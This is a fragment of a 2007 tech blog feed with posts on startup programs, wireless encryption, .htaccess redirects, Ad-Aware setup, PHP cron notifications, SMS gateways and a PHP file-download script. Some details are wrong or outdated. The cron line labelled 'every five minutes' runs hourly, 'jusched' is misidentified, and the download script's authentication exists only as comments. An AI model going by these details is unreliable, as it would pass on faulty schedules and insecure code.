&lt;li&gt;&lt;p&gt;&lt;strong&gt;NvCpl&lt;/strong&gt; – Nvidia Control panel (you can disable if you want)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;nwiz&lt;/strong&gt; – Nview Desktop Manager (you can disable if you want)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;RTHDCPL&lt;/strong&gt; – Realtek HD Audio (I would disable)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;ALCMTR&lt;/strong&gt; – Realtek Event Manager (disable)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;AzMixerSel&lt;/strong&gt; - Azalia Mixer Selector (I would disable)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;AGRSMMSG&lt;/strong&gt; - SoftModem Assistant (disable especially if you don’t use a modem)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;vsnp2std&lt;/strong&gt; - Camera Monitor from Sonix belonging to PC Camera Monitor Application&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;CSWalker&lt;/strong&gt; – Not sure (disable)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Wireless Select Switch&lt;/strong&gt; – (may be the switch on your laptop that enables/disables wireless you can probably leave this on)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;PDVDServ&lt;/strong&gt; - PowerDVD Remote Control (disable and use MPC instead)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Language&lt;/strong&gt; – (disable unless you need another language)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;dpmw32&lt;/strong&gt; - Netware Distributed Printing Client (Leave it I guess)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;zentray&lt;/strong&gt; - Part of Novell&amp;rsquo;s ZenWorks (Leave it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;NWTRAY&lt;/strong&gt; - Novell Netware tray application (leave it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;ccApp&lt;/strong&gt; – Norton Antivirus (leave it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;VPTray&lt;/strong&gt; – Virus Protection Shield icon (leave it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;jusched&lt;/strong&gt; – Windows task manager (leave it if you use it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reader_sl&lt;/strong&gt; – Acrobat Reader (disable and use foxit reader)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;SpySweeperUI&lt;/strong&gt; – SpySweeper (leave it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;realsched&lt;/strong&gt; – Real Audio (disable and use Real Alternative)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;qttask&lt;/strong&gt; – Quicktime (disable and use Quicktime Alternative)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;ctfmon&lt;/strong&gt; - Alternative User Input Text Input Processor, this is part of the language bar (leave it if you use another language)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Wireless Network Security</title>
		<link href="https://www.marksanborn.net/security/wireless-network-security/index.html" />
		<updated>2007-07-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/wireless-network-security/index.html</id>
		<content type="html">&lt;p&gt;Most households have some sort of broadband that is hooked up to a wireless router of some sort.  These wireless routers are by default insecure.  It is argued that wireless in any form is incredibly insecure due to the fact that you can&amp;rsquo;t physically contain it.  In-Stat MDR and META Group have estimated that 95% of all corporate laptop computers that were planned to be purchased in 2005 were equipped with wireless. Issues can arise in a supposedly non-wireless organization when a wireless laptop is plugged into the corporate network. A cracker could sit out in the parking lot and break in through the wireless card on a laptop and gain access to the wired network.  In my neighborhood alone within my range I am able to access five unsecured wireless networks and three WEP secured (insecure) wireless networks.  With one single security-auditing program you could potentially view all activity within any one of these networks including: passwords, emails, bank statements, credit card numbers, and other private information.  Do I have you scared yet? I hope I do since most households have unsecured wireless and it takes less than a minute to comprise its security.&lt;/p&gt;

&lt;h3&gt;Differences between wired and wireless networks&lt;/h3&gt;

&lt;p&gt;Its traditional wired counter part can be secured physically by not allowing physical access to the router, literally blocking or shutting of certain wired areas of a building.  Since the wire is usually stored within the walls of the building it is more difficult to splice into the wire and watch what&amp;rsquo;s happening on the network.  Wireless on the other hand can be &amp;ldquo;listened to&amp;rdquo; from anyplace within range.  Since we don&amp;rsquo;t want people seeing what we are doing so the only choice was to encrypt all wireless traffic.  That way people that were listening would only be able to see what would look like junk or garbage text.  The only problem with this is that the computer on the other end has to be able to read this &amp;ldquo;junk&amp;rdquo;.&lt;/p&gt;

&lt;h3&gt;Methods of making wireless more secure&lt;/h3&gt;

&lt;p&gt;To maintain the connection with the router the computer on the other end must have a key or know the &amp;ldquo;password&amp;rdquo; to the router.  This is the worst part of wireless, as the computer on the end must remain in constant communication with the router.  That means the computer must send its key or &amp;ldquo;password&amp;rdquo; many times to the router.  This makes a hacker’s job much easier as his software is able to detect commonalities amongst the &amp;ldquo;junk&amp;rdquo; that is continuously flowing.  On top of that he is able to constantly ask the router if his/her &amp;ldquo;key&amp;rdquo; is the proper key.  On a wired network if such an event were to take place network administrators could easily have a program that would detect if someone kept trying random passwords for a set period of time.  If they tried too many passwords too rapidly the program would turn that wire/port off.  On a wireless network the only means of stopping someone from trying multiple passwords in a short period of time is to block their MAC address.&lt;/p&gt;

&lt;p&gt;So what is a MAC address? You can think of a MAC address as a serial number for your network card.  In other words no matter how many passwords you through out into the air the router will simply ignore you based on the MAC address.  Unfortunately MAC addresses can easily be changed even though they were never really intended to be.  What make it worse is that someone knowledgeable could very easily &amp;ldquo;sniff&amp;rdquo; or monitor the wireless signal and see your MAC address and spoof (fake) their own MAC address to correspond to the legitimate computer on the wireless network.  As you can see the MAC address block is really not a very viable method from keeping people from trying to guess your wireless network password.&lt;/p&gt;

&lt;h3&gt;The solution&lt;/h3&gt;

&lt;p&gt;Amongst the different types of encryption available there are some that are better than others.  Currently WPA2 is the best form of wireless encryption followed by WPA and then WEP is better than nothing but not by much.  Since WEP can be compromised in a matter of minutes you should only use WEP if you do not care about your security and your only mission is to keep average people from using your Internet connection for free.&lt;/p&gt;

&lt;p&gt;To have a “secure” wireless connection you should use WPA2 or WPA with a 64-character hexadecimal key (password).  And no, you do not have to type in this 64-character key every time you connect to the router.  You can generate a 64-character hexadecimal key &lt;a href=&#34;https://www.grc.com/passwords.htm&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It should be noted that although these are the standard forms of wireless encryption you can set up a VPN tunneling server and have it authenticate users through a pre-shared user/password combo.  This may be the best way to encrypt wireless data streams and used by most universities; however, it is not practical for home users.&lt;/p&gt;

&lt;p&gt;For a guide on how to configure your router at home see, The Wireless Router Guide.&lt;/p&gt;

&lt;h3&gt;Summary&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Wireless networks are very insecure&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Your neighbors could see everything you are doing while connected to an unsecured network (Although it is fairly unlikely)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;You should set up your wireless router with WPA encryption with the maximum size password which is 64 hexadecimal characters&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;If you don’t know how see this guide.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sources:
According to Wikipedia, WPA Personal is secure when used with ‘good’ passphrases or a full 64-character hexadecimal key.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Duplicate Content www vs. non-www Canonical Problems</title>
		<link href="https://www.marksanborn.net/seo/duplicate-content-www-vs-non-www-canonical-problems/index.html" />
		<updated>2007-07-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/duplicate-content-www-vs-non-www-canonical-problems/index.html</id>
		<content type="html">&lt;p&gt;The typical a domain usually starts with &lt;a href=&#34;http://www&#34;&gt;http://www&lt;/a&gt; and a subdomain would usually only contain the http://.; however, recently search engines have been marking &lt;a href=&#34;http://yourdomain.com&#34;&gt;http://yourdomain.com&lt;/a&gt; as an entirely different site from &lt;a href=&#34;http://www.yourdomain.com&#34;&gt;http://www.yourdomain.com&lt;/a&gt;.  Meaning they get an entirely different ranking in Google searches.  This means you may not be getting the page rank you deserve.  In addition many people will often type into their browsers, “google.com” instead of “&lt;a href=&#34;http://www.google.com”&#34;&gt;http://www.google.com”&lt;/a&gt;.  I can understand this as it is way easier to type in google.com; although I think aesthetically &lt;a href=&#34;http://www.google.com&#34;&gt;http://www.google.com&lt;/a&gt; looks better and is the way it was meant.&lt;/p&gt;

&lt;p&gt;These are the standard formats used for URLs&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://subdomain.domain.com&#34;&gt;http://subdomain.domain.com&lt;/a&gt;
&lt;a href=&#34;http://www.domain.com&#34;&gt;http://www.domain.com&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Duplicate content&lt;/h3&gt;

&lt;p&gt;When a spider crawls the internet looking for webpages to index into its searches it often keeps track of many attributes about each site it visits.  Google for instance has an algorithm to determine if your website is more relevant than the next.  Its spiders check the website for over 100 different things including whether or not your page has duplicate content.  Since some search engines index &lt;a href=&#34;http://yourdomain.com&#34;&gt;http://yourdomain.com&lt;/a&gt; separately from &lt;a href=&#34;http://www.yourdomain.com&#34;&gt;http://www.yourdomain.com&lt;/a&gt; it’s important to let the search engine and your visitors know which domain you prefer to use.  If you don’t, search engines may think that your entire page is full of duplicate content and punish your website by giving it a lower rank in searches.  In some cases your web host may not even recognize the www. in front of your domain and may cause an error.  This can be seen here.  &lt;a href=&#34;http://business.umt.edu&#34;&gt;http://business.umt.edu&lt;/a&gt; vs. &lt;a href=&#34;http://www.business.umt.edu&#34;&gt;http://www.business.umt.edu&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;How can we fix the problem?&lt;/h3&gt;

&lt;p&gt;If your webhost is running Apache and it supports htaccess you can simply write the following code into a .htaccess file and place it in your root directory.
&lt;code&gt;
RewriteEngine On
RewriteCond %{HTTP_HOST} !^www\.yourdomain\.com$
RewriteRule (.*) http://www.yourdomain.com/$1 [R=301,L]
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Examples of 301 redirects from the big sites&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Redirect from http:// to &lt;a href=&#34;http://www&#34;&gt;http://www&lt;/a&gt;.&lt;/strong&gt;
&lt;a href=&#34;http://microsoft.com&#34;&gt;http://microsoft.com&lt;/a&gt; &amp;gt;&amp;gt; &lt;a href=&#34;http://www.microsoft.com&#34;&gt;http://www.microsoft.com&lt;/a&gt;
&lt;a href=&#34;http://google.com&#34;&gt;http://google.com&lt;/a&gt; &amp;gt;&amp;gt; &lt;a href=&#34;http://www.google.com&#34;&gt;http://www.google.com&lt;/a&gt;
&lt;a href=&#34;http://yahoo.com&#34;&gt;http://yahoo.com&lt;/a&gt; &amp;gt;&amp;gt; &lt;a href=&#34;http://www.yahoo.com&#34;&gt;http://www.yahoo.com&lt;/a&gt;
&lt;a href=&#34;http://ebay.com&#34;&gt;http://ebay.com&lt;/a&gt; &amp;gt;&amp;gt; &lt;a href=&#34;http://www.ebay.com&#34;&gt;http://www.ebay.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sites that do not redirect&lt;/strong&gt;
&lt;a href=&#34;http://youtube.com&#34;&gt;http://youtube.com&lt;/a&gt;
&lt;a href=&#34;http://amazon.com&#34;&gt;http://amazon.com&lt;/a&gt;
&lt;a href=&#34;http://myspace.com&#34;&gt;http://myspace.com&lt;/a&gt;
&lt;a href=&#34;http://digg.com&#34;&gt;http://digg.com&lt;/a&gt; (this one really surprises me, as digg is heavily engaged in technology)&lt;/p&gt;

&lt;p&gt;Since these examples are all sites from the top 10 websites most visited in the United States they don’t need to be concerned to heavily in page rank from Google.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Redirect subdomains with www.&lt;/strong&gt;
mail.google.com
sfbay.craigslist.org&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Installing Ad-Aware</title>
		<link href="https://www.marksanborn.net/howto/installing-ad-aware/index.html" />
		<updated>2007-07-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/installing-ad-aware/index.html</id>
		<content type="html">&lt;p&gt;Adware is a program that is used to find and remove adware and spyware.  To install adware simply follow these steps.&lt;/p&gt;

&lt;h3&gt;Step 1&lt;/h3&gt;

&lt;p&gt;Double click the file to get the installation started.  If you have not downloaded Ad-aware yet you can do so &lt;a href=&#34;http://www.lavasoftusa.com/&#34;&gt;here&lt;/a&gt;.  The icon should look similar to this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/desktopicon.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 2&lt;/h3&gt;

&lt;p&gt;You should be then be followed by this screen. Just click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/adadware-first-screen.jpg&#34; alt=&#34;Ad-aware first screen&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 3&lt;/h3&gt;

&lt;p&gt;Then agree to the terms and click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/3agreement.jpg&#34; alt=&#34;Ad-aware agreement&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 4&lt;/h3&gt;

&lt;p&gt;Your name should be filled out.  Click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/4user.jpg&#34; alt=&#34;Ad-aware user&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 5&lt;/h3&gt;

&lt;p&gt;Click standard installation then click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/5installtype.jpg&#34; alt=&#34;Ad-aware install type&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 6&lt;/h3&gt;

&lt;p&gt;99% of the time the default install location is fine. Click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/6where-to-install.jpg&#34; alt=&#34;Ad-aware where to install&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 7&lt;/h3&gt;

&lt;p&gt;Sweet, its done installing. Click &lt;strong&gt;Next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/7final-install.jpg&#34; alt=&#34;Ad-aware almost done&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 8&lt;/h3&gt;

&lt;p&gt;Click &lt;strong&gt;Finish&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/8adware-finished.jpg&#34; alt=&#34;Ad-aware finished&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Step 9&lt;/h3&gt;

&lt;p&gt;Since Ad-aware wants to make some money, they are kind of tricking the users at this point.  As you will notice if you try to select the free version in the drop down there is no option to do so.  At this point all you need to do is click &lt;strong&gt;Cancel&lt;/strong&gt; in order to use the free version of Ad-aware.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2007/07/9first-greet.jpg&#34; alt=&#34;Ad-aware&#39;s first screen after installation&#34; /&gt;&lt;/p&gt;

&lt;p&gt;After that you should be greeted with the main screen for Ad-aware.&lt;/p&gt;

&lt;p&gt;To use Ad-aware see my using Ad-aware guide.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Send email notifications with php</title>
		<link href="https://www.marksanborn.net/php/send-email-notifications-with-php/index.html" />
		<updated>2007-07-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/send-email-notifications-with-php/index.html</id>
		<content type="html">&lt;p&gt;In order to send an email notification on your site via php you will probably need some sort of scheduled task program.  This will execute the php script routinely.  Since I tend to use open source software I used cron.  Cron is found in Unix and Unix-like operating systems and is used to schedule commands to be executed periodically. It reads a series of commands from standard input and collects them into a file known as a &amp;ldquo;crontab&amp;rdquo; which is later read and whose instructions are carried out.&lt;/p&gt;

&lt;p&gt;An example of a cron entry in crontab that would execute every five minutes:&lt;/p&gt;

&lt;p&gt;5 * * * * /usr/local/bin/php /home/myuser/mydomain.com/notifications.php
This line also includes the program in which to open the php file.&lt;/p&gt;

&lt;p&gt;For more information about using cron check out, &lt;a href=&#34;/linux/learning-cron-by-example/&#34;&gt;Learning cron by Example&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now that we have a program set up to execute our script we need to prepare our php file.&lt;/p&gt;

&lt;p&gt;This line will tell cron which binary program to execute the script.
In this case it is php.&lt;/p&gt;

&lt;p&gt;#!/usr/local/bin/php -q&lt;/p&gt;

&lt;p&gt;Note: This is not necessary if you include this in cron.&lt;/p&gt;

&lt;p&gt;Here is the php code I came up with to get the job done.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function isExpired($expireDate,$emailAddress,$subject,$body) {
    $expireDate = strtotime($expireDate); // Must be in m/d/y format!
    $now = time(); // Get current date
    if ($expireDate &amp;lt; $now) {
        mail($emailAddress, $subject, $body);
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>How to: Send a TXT Message Through Email</title>
		<link href="https://www.marksanborn.net/howto/how-to-send-a-txt-message-through-email/index.html" />
		<updated>2007-07-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/how-to-send-a-txt-message-through-email/index.html</id>
		<content type="html">&lt;p&gt;Sending txt message through a computer can be incredibly useful.  Google sends txt messages through their calendar service to remind users of important dates and appointments.  They can send movie times, wheather reports, stock quotes, directions, notifications of new email, etc&amp;hellip;&lt;/p&gt;

&lt;p&gt;All you have to do to send a txt message in most cases is send a simple email message to the SMS gateway of their phone carrier.  This is usually their 10 digit phone number followed by the SMS gateway domain name.&lt;/p&gt;

&lt;p&gt;Below is a list of major cellphone companies&amp;rsquo; in the Unitied States.&lt;/p&gt;

&lt;p&gt;Verizon: 10digitphonenumber@vtext.com
AT&amp;amp;T: 10digitphonenumber@mmode.com
Sprint: 10digitphonenumber@messaging.sprintpcs.com
T-Mobile: 10digitphonenumber@tmomail.net
Nextel: 10digitphonenumber@messaging.nextel.com
Cingular: 10digitphonenumber@cingularme.com
Virgin Mobile: 10digitphonenumber@vmobl.com
Alltel: 10digitphonenumber@alltelmessage.com
CellularOne: 10digitphonenumber@mobile.celloneusa.com
Omnipoint: 10digitphonenumber@omnipointpcs.com
Qwest: 10digitphonenumber@qwestmp.com&lt;/p&gt;

&lt;p&gt;If you are unsure which carrier to send the message you can try their 10digitphonenumber@teleflip.com&lt;/p&gt;

&lt;p&gt;For an exhaustive list of carrier&amp;rsquo;s SMS gateways visit &lt;a href=&#34;http://en.wikipedia.org/wiki/SMS_gateways&#34;&gt;SMS Gateways&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can also send a txt message to google to find out all sorts of information.  Here are some examples.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;movies 90210&lt;/code&gt; - Find movie listing for your town&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;stock AAPL&lt;/code&gt; - Get the current stock quote(delayed 15min)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;directions pasadena ca to 94043&lt;/code&gt; - Directions when you get lost&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;1 us pint in liters&lt;/code&gt; - Conversion calculator&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the only codes that I usually use but there are many more.  For a more complete list see &lt;a href=&#34;http://www.google.com/intl/en_us/mobile/sms/&#34;&gt;Google SMS short codes&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Download files through authentication</title>
		<link href="https://www.marksanborn.net/php/download-files-through-authentication/index.html" />
		<updated>2007-07-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/download-files-through-authentication/index.html</id>
		<content type="html">&lt;p&gt;I recently needed to implement a way for authenticated users to download files.  Normally to host a file for download on a site you would need to provide the url to the download.  www.yourdomain.com/restrictedfile.pdf.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;You could then authenticate the user and only provide the link if the user was authenticated; however, there is nothing preventing users from simply typing the url into the browser and downloading the sensitive information.&lt;/p&gt;

&lt;p&gt;This is why i created a script with php to fetch the file only when the user session is active.  The restricted files are on the webserver but stored in an a directory that Apache has no access to.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$file = $_GET[&#39;file&#39;];
$download_folder = &#39;../RestrictedFiles&#39;;

$file = basename($file);
$filepath = &amp;quot;$download_folder/$file&amp;quot;;

if (file_exists($filepath)) {

    //.... check to see if user is logged in ...
    // connect to database

    // include auth and nav

    // close mysql connection

    header(&amp;quot;Content-type: application/octet-stream&amp;quot;);
    header(&amp;quot;Content-Disposition: attachment; filename=$file&amp;quot;);
    session_write_close();
    readfile($filepath);

} else {
    echo &#39;The file you are trying to download is not found.  If you think this is an error 
                 please &amp;lt;a href=&amp;quot;/contact/&amp;quot;&amp;gt;contact&amp;lt;/a&amp;gt; us.&#39;;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To see an example in ASP see: &lt;a href=&#34;http://devsushi.com/2007/01/31/aspnet-file-download-protection-through-authentication/trackback/&#34;&gt;ASP Example&lt;/a&gt;&lt;/p&gt;
</content>
	</entry>
	
</feed>
